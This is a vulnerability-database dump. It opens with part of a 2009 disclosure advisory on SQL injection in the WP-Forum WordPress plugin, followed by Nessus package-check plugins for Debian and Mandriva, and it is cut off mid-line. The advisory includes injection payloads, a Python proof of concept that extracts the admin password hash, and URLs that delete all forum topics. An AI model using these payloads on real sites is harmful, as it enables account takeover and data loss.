DESCRIPTION\r\n-------------------------\r\nWP-Forum fails to sanitized user supplied input and is vulnerable to\r\nSQL Injection and Blind SQL Injection. An attacker can obtain any data\r\nof the database including user logins and password&#39;s of the WordPress\r\ninstallation, allowing him to obtain access to the application and\r\ngain administration privileges.\r\n\r\nFor the SQL Injection vulnerability, is possible to concatenate other\r\nsql requests via &#34;union select&#34; sentence. The parameters &#34;search_max&#34;\r\nand &#34;forum&#34; are affected by this flaw.\r\n\r\nSnippet of vulnerable code:\r\n\r\nIn wpf.class file:\r\n\r\n1836 $option_max_days = $_POST[&#39;search_max&#39;]; // &#60;- this\r\nline is not being sanitized\r\n1837 $option_forums = $_POST[&#39;forum&#39;];\r\n1838 if(!$option_max_days)\r\n1839 $option_max_days = 9999;\r\n1840 $op .= &#34; AND $this-&#62;t_posts.`date` &#62; SUBDATE(CURDATE(),\r\nINTERVAL $option_max_days DAY) &#34;;\r\n1841\r\n...\r\n1850 foreach((array)$option_forums as $f)\r\n1851 $a .= $f.&#34;,&#34;; // &#60;- &#60;- this lines is not being\r\nsanitized\r\n1852\r\n1853 $a = substr($a, 0, strlen($a)-1 );\r\n1854 if(!$a)\r\n1855 $w = &#34;&#34;;\r\n1856 else\r\n1857 $w = &#34;IN($a)&#34;;\r\n1858\r\n1859 $sql = &#34;SELECT $this-&#62;t_threads.parent_id as pt,\r\n$this-&#62;t_posts.id, text, $this-&#62;t_posts.subject,\r\n$this-&#62;t_posts.parent_id, $this-&#62;t_posts.`date`, MATCH ($what) AGAINST\r\n(&#39;$search_string&#39;) AS score\r\n1860 FROM $this-&#62;t_posts inner join $this-&#62;t_threads on\r\n$this-&#62;t_posts.parent_id = $this-&#62;t_threads.id\r\n1861 WHERE $this-&#62;t_threads.parent_id $w\r\n1862 AND MATCH (text) AGAINST (&#39;$search_string&#39;) $op&#34;;\r\n\r\nIn the case of the Blind SQL Injection, the vulnerable code is...\r\n\r\nIn wpf-post.php file:\r\n\r\n 57 $id = $_GET[&#39;id&#39;]; // &#60;- $_GET[&#39;id&#39;] is directly assigned\r\n 58 $thread = $this-&#62;check_parms($_GET[&#39;t&#39;]);\r\n 59\r\n 60 $out .= $this-&#62;header();\r\n 61\r\n 62 $post = $wpdb-&#62;get_row(&#34;SELECT * FROM $wpforum-&#62;t_posts WHERE\r\nid = $id&#34;); // &#60;- id is used without clean up\r\n\r\nother example:\r\n\r\n1490 function remove_post(){\r\n1491 global $user_level, $user_ID, $wpdb;\r\n1492 $id = $_GET[&#39;id&#39;]; // &#60;- $_GET[&#39;id&#39;] is directly assigned\r\n1493 $author = $wpdb-&#62;get_var(&#34;SELECT author_id from\r\n$this-&#62;t_posts where id = $id&#34;); // id is used without clean up\r\n...\r\n1503 if($del == &#34;ok&#34;){\r\n1504 $wpdb-&#62;query(&#34;DELETE FROM $this-&#62;t_posts WHERE id\r\n= $id&#34;); &#60;- // id is used without clean up\r\n1505 $this-&#62;o .= &#34;&#60;div class=&#39;updated&#39;&#62;&#34;.__(&#34;Post\r\ndeleted&#34;, &#34;wpforum&#34;).&#34;&#60;/div&#62;&#34;;\r\n1506 }\r\n1507 else\r\n1508 wp_die(__(&#34;Cheating, are we?&#34;, &#34;wpforum&#34;));\r\n1509\r\n1510 }\r\n\r\nthe &#34;id&#34; parameter is vulnerable in other parts of the source code..\r\n\r\nAlso, is possible to delete all records in table $this-&#62;t_posts and\r\n$this-&#62;t_threads because $_GET[&#39;topic&#39;] is not properly sanitized,\r\ninjecting something like 1 or 1=1\r\n\r\n1479 function remove_topic(){\r\n1480 global $user_level, $user_ID, $wpdb;\r\n1481 $topic = $_GET[&#39;topic&#39;];\r\n1482 if($this-&#62;is_moderator($user_ID, $this-&#62;current_forum)){\r\n1483 $wpdb-&#62;query(&#34;DELETE FROM $this-&#62;t_posts WHERE\r\nparent_id = $topic&#34;);\r\n1484 $wpdb-&#62;query(&#34;DELETE FROM $this-&#62;t_threads WHERE\r\nid = $topic&#34;);\r\n1485 }\r\n1486 else\r\n1487 wp_die(__(&#34;Cheating, are we?&#34;, &#34;wpforum&#34;));\r\n1488\r\n1489 }\r\n\r\nIV. PROOF OF CONCEPT\r\n-------------------------\r\nIn the url: http://example.com/blog/?page_id=3&wpforumaction=search\r\nreplacing &#39;page_id=3&#39; parameter with the number of the WP-Forum page\r\nin each case\r\n\r\nIs possible to obtain any data of the database. Here is a proof of\r\nconcept to obtain user_pass, user_login and user_email of the user\r\nwith id=1 of wp_users table (normally admin).\r\n\r\nWe have to fill the search_max parameter with the value:\r\n\r\n9999 DAY) union select 1,1,1,user_pass,1,1,1 from wp_users where id=1\r\nand subdate(curdate(), interval 9999\r\n9999 DAY) union select 1,1,1,user_login,1,1,1 from wp_users where id=1\r\nand subdate(curdate(), interval 9999\r\n9999 DAY) union select 1,1,1,user_email,1,1,1 from wp_users where id=1\r\nand subdate(curdate(), interval 9999\r\n\r\nI wrote a PoC, to get automatically the password hash of the WordPress\r\nadmin account:\r\n\r\nuser () linuz:~$ cat wpforum2.3-poc.py\r\n#!/usr/bin/python\r\n\r\n# WP-Forum &#60;= 2.3 SQL Injection PoC\r\n# Juan Galiana Lara\r\n# Internet Security Auditors\r\n\r\nimport urllib\r\nimport urllib2\r\nimport re\r\n\r\nurl = &#39;http://site//wordpress/?page_id=3&wpforumaction=search&#39;\r\nvalues = {&#39;search_words&#39; : &#39;any&#39;,\r\n &#39;search_submit&#39; : &#39;Search&#39;,\r\n &#39;search_max&#39; : &#39;999 DAY) union select 1,1,1,user_pass,1,1,1\r\nfrom wp_users where id=1 or SUBDATE(CURDATE(), INTERVAL 9999&#39; }\r\n\r\ndata = urllib.urlencode(values)\r\nreq = urllib2.Request(url, data)\r\nresponse = urllib2.urlopen(req)\r\noutput = response.read()\r\no = re.search(&#39;viewtopic.+&#62;([$].+)&#60;&#39;,output)\r\nif o:\r\n print o.group(1)\r\n\r\nuser () linuz:~$ python wpforum2.3-poc.py\r\n$P$Bn8oMY.T3kHELf/lnn07L3HXgID4go/\r\nuser () linuz:~$\r\n\r\nThat&#39;s it!\r\n\r\nFor the blind sql injection, here are some examples:\r\n\r\nhttp://example.com/blog/?page_id=3&wpforumaction=editpost&id=1%20and%201=0&t=.0\r\nhttp://example.com/blog/?page_id=3&wpforumaction=editpost&id=1%20and%201=1&t=.0\r\n\r\nhttp://example.com/blog/?page_id=3&wpforumaction=viewforum&f=2.0&delete_topic&topic=3%20and%201=0\r\nhttp://example.com/blog/?page_id=3&wpforumaction=viewforum&f=2.0&delete_topic&topic=3%20and%201=1\r\n\r\nhttp://example.com/blog/?page_id=3&wpforumaction=viewtopic&t=1.0&sticky&id=1%20and%201=0\r\nhttp://example.com/blog/?page_id=3&wpforumaction=viewtopic&t=1.0&sticky&id=1%20and%201=1\r\n\r\nIs possible to delete all topics, injecting sql code in &#34;topic&#34; parameter:\r\n\r\nhttp://example.com/blog/?page_id=3&wpforumaction=viewforum&f=1.0&delete_topic&topic=5%20or%201=1\r\n\r\nV. BUSINESS IMPACT\r\n-------------------------\r\nUnauthenticated users can obtain or delete any data of the database.\r\nThis flaw could result in get access to WordPress accounts including\r\nthe administrator one.\r\n\r\nVI. SYSTEMS AFFECTED\r\n-------------------------\r\nWP-Forum &#60;= 2.3 are vulnerable.\r\n\r\nVII. SOLUTION\r\n-------------------------\r\nUpdate to version 2.4.\r\n\r\nVIII. REFERENCES\r\n-------------------------\r\nhttp://www.fahlstad.se/wp-plugins/wp-forum/\r\nhttp://www.wordpress.org/\r\nhttp://www.isecauditors.com/\r\n\r\nIX. CREDITS\r\n-------------------------\r\nThis vulnerability has been discovered by\r\nJuan Galiana Lara (jgaliana (at) isecauditors (dot) com).\r\n\r\nX. REVISION HISTORY\r\n-------------------------\r\nSeptember 28, 2009: Initial release.\r\nOctober 13, 2009: Review.\r\nOctober 19, 2009: Added CVE id.\r\nDecember 15, 2009: Last revision.\r\n\r\nXI. DISCLOSURE TIMELINE\r\n-------------------------\r\nSeptember 28, 2009: Vulnerability discovered\r\n by Internet Security Auditors.\r\nOctober 13, 2009: Sent to developers. No response.\r\nDecember 13, 2009: Contact again. Response about its correction.\r\nDecember 14, 2009: New version published.\r\nDecember 15, 2009: Advisory released to lists.\r\n\r\nXII. LEGAL NOTICES\r\n-------------------------\r\nThe information contained within this advisory is supplied &#34;as-is&#34;\r\nwith no warranties or guarantees of fitness of use or otherwise.\r\nInternet Security Auditors accepts no responsibility for any damage\r\ncaused by the use or misuse of this information.\r\n\n ", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "sourceHref": "https://www.seebug.org/vuldb/ssvid-67199"}], "nessus": [{"lastseen": "2019-02-21T01:20:16", "bulletinFamily": "scanner", "description": "Multiple security issues have been found in iceweasel, Debian's version of the Mozilla Firefox web browser: multiple memory safety errors, and other implementation errors may lead to the execution of arbitrary code.\n\nThe iceweasel version in the oldstable distribution (squeeze) is no longer supported with security updates.", "modified": "2018-11-10T00:00:00", "id": "DEBIAN_DSA-2788.NASL", "href": "https://www.tenable.com/plugins/index.php?view=single&id=70722", "published": "2013-11-01T00:00:00", "title": "Debian DSA-2788-1 : iceweasel - several vulnerabilities", "type": "nessus", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from Debian Security Advisory DSA-2788. The text \n# itself is copyright (C) Software in the Public Interest, Inc.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(70722);\n script_version(\"1.10\");\n script_cvs_date(\"Date: 2018/11/10 11:49:36\");\n\n script_cve_id(\"CVE-2013-5590\", \"CVE-2013-5595\", \"CVE-2013-5597\", \"CVE-2013-5599\", \"CVE-2013-5600\", \"CVE-2013-5601\", \"CVE-2013-5602\", \"CVE-2013-5604\");\n script_bugtraq_id(63415, 63421, 63422, 63423, 63424, 63427, 63428, 63430);\n script_xref(name:\"DSA\", value:\"2788\");\n\n script_name(english:\"Debian DSA-2788-1 : iceweasel - several vulnerabilities\");\n script_summary(english:\"Checks dpkg output for the updated package\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote Debian host is missing a security-related update.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"Multiple security issues have been found in iceweasel, Debian's\nversion of the Mozilla Firefox web browser: multiple memory safety\nerrors, and other implementation errors may lead to the execution of\narbitrary code.\n\nThe iceweasel version in the oldstable distribution (squeeze) is no\nlonger supported with security updates.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://packages.debian.org/source/wheezy/iceweasel\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://www.debian.org/security/2013/dsa-2788\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\n\"Upgrade the iceweasel packages.\n\nFor the stable distribution (wheezy), these problems have been fixed\nin version 17.0.10esr-1~deb7u1.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:U/RL:OF/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No known exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"false\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:debian:debian_linux:iceweasel\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:debian:debian_linux:7.0\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2013/10/31\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2013/11/01\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2013-2018 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Debian Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/Debian/release\", \"Host/Debian/dpkg-l\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"debian_package.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nif (!get_kb_item(\"Host/Debian/release\")) audit(AUDIT_OS_NOT, \"Debian\");\nif (!get_kb_item(\"Host/Debian/dpkg-l\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\n\nflag = 0;\nif (deb_check(release:\"7.0\", prefix:\"iceweasel\", reference:\"17.0.10esr-1~deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"iceweasel-dbg\", reference:\"17.0.10esr-1~deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"iceweasel-dev\", reference:\"17.0.10esr-1~deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"iceweasel-l10n-ach\", reference:\"17.0.10esr-1~deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"iceweasel-l10n-af\", reference:\"17.0.10esr-1~deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"iceweasel-l10n-all\", reference:\"17.0.10esr-1~deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"iceweasel-l10n-an\", reference:\"17.0.10esr-1~deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"iceweasel-l10n-ar\", reference:\"17.0.10esr-1~deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"iceweasel-l10n-as\", reference:\"17.0.10esr-1~deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"iceweasel-l10n-ast\", reference:\"17.0.10esr-1~deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"iceweasel-l10n-be\", reference:\"17.0.10esr-1~deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"iceweasel-l10n-bg\", reference:\"17.0.10esr-1~deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"iceweasel-l10n-bn-bd\", reference:\"17.0.10esr-1~deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"iceweasel-l10n-bn-in\", reference:\"17.0.10esr-1~deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"iceweasel-l10n-br\", reference:\"17.0.10esr-1~deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"iceweasel-l10n-bs\", reference:\"17.0.10esr-1~deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"iceweasel-l10n-ca\", reference:\"17.0.10esr-1~deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"iceweasel-l10n-cs\", reference:\"17.0.10esr-1~deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"iceweasel-l10n-csb\", reference:\"17.0.10esr-1~deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"iceweasel-l10n-cy\", reference:\"17.0.10esr-1~deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"iceweasel-l10n-da\", reference:\"17.0.10esr-1~deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"iceweasel-l10n-de\", reference:\"17.0.10esr-1~deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"iceweasel-l10n-el\", reference:\"17.0.10esr-1~deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"iceweasel-l10n-en-gb\", reference:\"17.0.10esr-1~deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"iceweasel-l10n-en-za\", reference:\"17.0.10esr-1~deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"iceweasel-l10n-eo\", reference:\"17.0.10esr-1~deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"iceweasel-l10n-es-ar\", reference:\"17.0.10esr-1~deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"iceweasel-l10n-es-cl\", reference:\"17.0.10esr-1~deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"iceweasel-l10n-es-es\", reference:\"17.0.10esr-1~deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"iceweasel-l10n-es-mx\", reference:\"17.0.10esr-1~deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"iceweasel-l10n-et\", reference:\"17.0.10esr-1~deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"iceweasel-l10n-eu\", reference:\"17.0.10esr-1~deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"iceweasel-l10n-fa\", reference:\"17.0.10esr-1~deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"iceweasel-l10n-ff\", reference:\"17.0.10esr-1~deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"iceweasel-l10n-fi\", reference:\"17.0.10esr-1~deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"iceweasel-l10n-fr\", reference:\"17.0.10esr-1~deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"iceweasel-l10n-fy-nl\", reference:\"17.0.10esr-1~deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"iceweasel-l10n-ga-ie\", reference:\"17.0.10esr-1~deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"iceweasel-l10n-gd\", reference:\"17.0.10esr-1~deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"iceweasel-l10n-gl\", reference:\"17.0.10esr-1~deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"iceweasel-l10n-gu-in\", reference:\"17.0.10esr-1~deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"iceweasel-l10n-he\", reference:\"17.0.10esr-1~deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"iceweasel-l10n-hi-in\", reference:\"17.0.10esr-1~deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"iceweasel-l10n-hr\", reference:\"17.0.10esr-1~deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"iceweasel-l10n-hsb\", reference:\"17.0.10esr-1~deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"iceweasel-l10n-hu\", reference:\"17.0.10esr-1~deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"iceweasel-l10n-hy-am\", reference:\"17.0.10esr-1~deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"iceweasel-l10n-id\", reference:\"17.0.10esr-1~deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"iceweasel-l10n-is\", reference:\"17.0.10esr-1~deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"iceweasel-l10n-it\", reference:\"17.0.10esr-1~deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"iceweasel-l10n-ja\", reference:\"17.0.10esr-1~deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"iceweasel-l10n-kk\", reference:\"17.0.10esr-1~deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"iceweasel-l10n-km\", reference:\"17.0.10esr-1~deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"iceweasel-l10n-kn\", reference:\"17.0.10esr-1~deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"iceweasel-l10n-ko\", reference:\"17.0.10esr-1~deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"iceweasel-l10n-ku\", reference:\"17.0.10esr-1~deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"iceweasel-l10n-lij\", reference:\"17.0.10esr-1~deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"iceweasel-l10n-lt\", reference:\"17.0.10esr-1~deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"iceweasel-l10n-lv\", reference:\"17.0.10esr-1~deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"iceweasel-l10n-mai\", reference:\"17.0.10esr-1~deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"iceweasel-l10n-mk\", reference:\"17.0.10esr-1~deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"iceweasel-l10n-ml\", reference:\"17.0.10esr-1~deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"iceweasel-l10n-mr\", reference:\"17.0.10esr-1~deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"iceweasel-l10n-ms\", reference:\"17.0.10esr-1~deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"iceweasel-l10n-nb-no\", reference:\"17.0.10esr-1~deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"iceweasel-l10n-nl\", reference:\"17.0.10esr-1~deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"iceweasel-l10n-nn-no\", reference:\"17.0.10esr-1~deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"iceweasel-l10n-or\", reference:\"17.0.10esr-1~deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"iceweasel-l10n-pa-in\", reference:\"17.0.10esr-1~deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"iceweasel-l10n-pl\", reference:\"17.0.10esr-1~deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"iceweasel-l10n-pt-br\", reference:\"17.0.10esr-1~deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"iceweasel-l10n-pt-pt\", reference:\"17.0.10esr-1~deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"iceweasel-l10n-rm\", reference:\"17.0.10esr-1~deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"iceweasel-l10n-ro\", reference:\"17.0.10esr-1~deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"iceweasel-l10n-ru\", reference:\"17.0.10esr-1~deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"iceweasel-l10n-si\", reference:\"17.0.10esr-1~deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"iceweasel-l10n-sk\", reference:\"17.0.10esr-1~deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"iceweasel-l10n-sl\", reference:\"17.0.10esr-1~deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"iceweasel-l10n-son\", reference:\"17.0.10esr-1~deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"iceweasel-l10n-sq\", reference:\"17.0.10esr-1~deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"iceweasel-l10n-sr\", reference:\"17.0.10esr-1~deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"iceweasel-l10n-sv-se\", reference:\"17.0.10esr-1~deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"iceweasel-l10n-ta\", reference:\"17.0.10esr-1~deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"iceweasel-l10n-te\", reference:\"17.0.10esr-1~deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"iceweasel-l10n-th\", reference:\"17.0.10esr-1~deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"iceweasel-l10n-tr\", reference:\"17.0.10esr-1~deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"iceweasel-l10n-uk\", reference:\"17.0.10esr-1~deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"iceweasel-l10n-vi\", reference:\"17.0.10esr-1~deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"iceweasel-l10n-xh\", reference:\"17.0.10esr-1~deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"iceweasel-l10n-zh-cn\", reference:\"17.0.10esr-1~deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"iceweasel-l10n-zh-tw\", reference:\"17.0.10esr-1~deb7u1\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"iceweasel-l10n-zu\", reference:\"17.0.10esr-1~deb7u1\")) flag++;\n\nif (flag)\n{\n if (report_verbosity > 0) security_hole(port:0, extra:deb_report_get());\n else security_hole(0);\n exit(0);\n}\nelse audit(AUDIT_HOST_NOT, \"affected\");\n", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2019-02-21T01:14:06", "bulletinFamily": "scanner", "description": "A dependency problem with the postgresql packages was discovered which under certain circumstances prevented a smooth upgrade. This advisory addresses this problem.", "modified": "2018-07-19T00:00:00", "id": "MANDRIVA_MDVA-2010-221.NASL", "href": "https://www.tenable.com/plugins/index.php?view=single&id=50569", "published": "2010-11-12T00:00:00", "title": "MDVA-2010:221 : postgresql", "type": "nessus", "sourceData": "#%NASL_MIN_LEVEL 70103\n\n#%NASL_MIN_LEVEL 99999\n# @DEPRECATED@\n#\n# This script has been deprecated as the associated patch is not\n# currently a security fix.\n#\n# Disabled on 2012/09/06.\n#\n\n#\n# (C) Tenable Network Security, Inc.\n#\n# This script was automatically generated from\n# Mandriva Linux Security Advisory MDVA-2010:221.\n#\n\nif (!defined_func(\"bn_random\")) exit(0);\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(50569);\n script_version(\"1.7\");\n script_cvs_date(\"Date: 2018/07/19 20:59:16\");\n\n script_name(english:\"MDVA-2010:221 : postgresql\");\n script_summary(english:\"Checks for patch(es) in 'rpm -qa' output\");\n\n script_set_attribute(attribute:\"synopsis\", value: \n\"The remote Mandriva host is missing one or more security-related\npatches.\");\n script_set_attribute(attribute:\"description\", value:\n\"A dependency problem with the postgresql packages was discovered\nwhich under certain circumstances prevented a smooth upgrade. This\nadvisory addresses this problem.\");\n script_set_attribute(attribute:\"see_also\", value:\"http://www.mandriva.com/security/advisories?name=MDVA-2010:221\");\n script_set_attribute(attribute:\"solution\", value:\"Update the affected package(s).\");\n script_set_attribute(attribute:\"risk_factor\", value:\"High\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2010/11/11\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:mandriva:linux\");\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"plugin_publication_date\", value: \"2010/11/12\");\n script_end_attributes();\n \n script_category(ACT_GATHER_INFO);\n script_family(english:\"Mandriva Local Security Checks\");\n \n script_copyright(english:\"This script is Copyright (C) 2010-2018 Tenable Network Security, Inc.\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/Mandrake/release\", \"Host/Mandrake/rpm-list\");\n\n exit(0);\n}\n\n# Deprecated.\nexit(0, \"The associated patch is not currently a security fix.\");\n\n\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) exit(0, \"Local checks are not enabled.\");\nif (!get_kb_item(\"Host/Mandrake/release\")) exit(0, \"The host is not running Mandrake Linux.\");\nif (!get_kb_item(\"Host/Mandrake/rpm-list\")) exit(1, \"Could not get the list of packages.\");\n\nflag = 0;\n\nif (rpm_check(reference:\"libecpg8.3_6-8.3.12-0.2mdv2009.0\", release:\"MDK2009.0\", cpu:\"i386\", yank:\"mdv\")) flag++;\nif (rpm_check(reference:\"libpq8.3_5-8.3.12-0.2mdv2009.0\", release:\"MDK2009.0\", cpu:\"i386\", yank:\"mdv\")) flag++;\nif (rpm_check(reference:\"postgresql8.3-8.3.12-0.2mdv2009.0\", release:\"MDK2009.0\", cpu:\"i386\", yank:\"mdv\")) flag++;\nif (rpm_check(reference:\"postgresql8.3-contrib-8.3.12-0.2mdv2009.0\", release:\"MDK2009.0\", cpu:\"i386\", yank:\"mdv\")) flag++;\nif (rpm_check(reference:\"postgresql8.3-devel-8.3.12-0.2mdv2009.0\", release:\"MDK2009.0\", cpu:\"i386\", yank:\"mdv\")) flag++;\nif (rpm_check(reference:\"postgresql8.3-docs-8.3.12-0.2mdv2009.0\", release:\"MDK2009.0\", cpu:\"i386\", yank:\"mdv\")) flag++;\nif (rpm_check(reference:\"postgresql8.3-pl-8.3.12-0.2mdv2009.0\", release:\"MDK2009.0\", cpu:\"i386\", yank:\"mdv\")) flag++;\nif (rpm_check(reference:\"postgresql8.3-plperl-8.3.12-0.2mdv2009.0\", release:\"MDK2009.0\", cpu:\"i386\", yank:\"mdv\")) flag++;\nif (rpm_check(reference:\"postgresql8.3-plpgsql-8.3.12-0.2mdv2009.0\", release:\"MDK2009.0\", cpu:\"i386\", yank:\"mdv\")) flag++;\nif (rpm_check(reference:\"postgresql8.3-plpython-8.3.12-0.2mdv2009.0\", release:\"MDK2009.0\", cpu:\"i386\", yank:\"mdv\")) flag++;\nif (rpm_check(reference:\"postgresql8.3-pltcl-8.3.12-0.2mdv2009.0\", release:\"MDK2009.0\", cpu:\"i386\", yank:\"mdv\")) flag++;\nif (rpm_check(reference:\"postgresql8.3-server-8.3.12-0.2mdv2009.0\", release:\"MDK2009.0\", cpu:\"i386\", yank:\"mdv\")) flag++;\n\nif (rpm_check(reference:\"lib64ecpg8.3_6-8.3.12-0.2mdv2009.0\", release:\"MDK2009.0\", cpu:\"x86_64\", yank:\"mdv\")) flag++;\nif (rpm_check(reference:\"lib64pq8.3_5-8.3.12-0.2mdv2009.0\", release:\"MDK2009.0\", cpu:\"x86_64\", yank:\"mdv\")) flag++;\nif 